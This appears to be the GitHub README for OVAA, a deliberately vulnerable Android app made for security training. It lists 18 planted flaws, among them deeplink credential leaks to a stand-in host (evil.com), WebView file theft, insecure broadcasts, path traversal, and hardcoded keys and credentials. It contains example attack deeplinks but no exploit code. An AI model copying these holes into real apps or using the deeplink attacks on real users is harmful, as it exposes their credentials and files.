Repository files navigation

OVAA (Oversecured Vulnerable Android App) is an Android app that aggregates all the platform's known and popular security vulnerabilities.

This section only includes the list of vulnerabilities, without a detailed description or proof of concept. Examples from OVAA will receive detailed examination and analysis onour blog.

1. Installation of an arbitrarylogin_url via deeplinkoversecured://ovaa/login?url=http://evil.com/. Leads to the user's user name and password being leaked when they log in.
2. Obtaining access to arbitrary content providers (not exported, but with the attributeandroid:grantUriPermissions="true") via deeplinkoversecured://ovaa/grant_uri_permissions. The attacker's app needs to processoversecured.ovaa.action.GRANT_PERMISSIONS and pass intent tosetResult(code, intent) with flags such asIntent.FLAG_GRANT_READ_URI_PERMISSION and the URI of the content provider.
3. Vulnerable host validation when processing deeplinkoversecured://ovaa/webview?url=....
4. Opening arbitrary URLs via deeplinkoversecured://ovaa/webview?url=http://evilexample.com. An attacker can use the vulnerable WebView settingWebSettings.setAllowFileAccessFromFileURLs(true) in theWebViewActivity.java file to steal arbitrary files by sending them XHR requests and obtaining their content.
5. Access to arbitrary activities and acquiring access to arbitrary content providers inLoginActivity by supplying an arbitrary Intent object toredirect_intent.
6. Theft of arbitrary files inMainActivity by intercepting an activity launch fromIntent.ACTION_PICK and passing the URI to any file as data.
7. Insecure broadcast toMainActivity containing credentials. The attacker can register a broadcast receiver with actionoversecured.ovaa.action.UNPROTECTED_CREDENTIALS_DATA and obtain the user's data.
8. Insecure activity launch inMainActivity with actionoversecured.ovaa.action.WEBVIEW, containing the user's encrypted data in the query parametertoken.
9. Deletion of arbitrary files via the insecureDeleteFilesSerializable deserialization object.
10. Memory corruption via theMemoryCorruptionParcelable object.
11. Memory corruption via theMemoryCorruptionSerializable object.
12. Obtaining read/write access to arbitrary files inTheftOverwriteProvider via path-traversal in the valueuri.getLastPathSegment().
13. Obtaining access to app logs viaInsecureLoggerService. Leak of credentials inLoginActivityLog.d("ovaa", "Processing " + loginData).
14. Use of the hardcoded AES key inWeakCrypto.
15. Arbitrary Code Execution inOversecuredApplication by launching code from third-party apps with no security checks.
16. Use of very wide file sharing declaration foroversecured.ovaa.fileprovider content provider inroot entry.
17. Hardcoded credentials to a dev environment endpoint instrings.xml intest_url entry.
18. Arbitrary code execution via a DEX library located in a world-readable/writable directory.

Licensed under the Simplified BSD License

Copyright (c) 2020, Oversecured Inc

https://oversecured.com/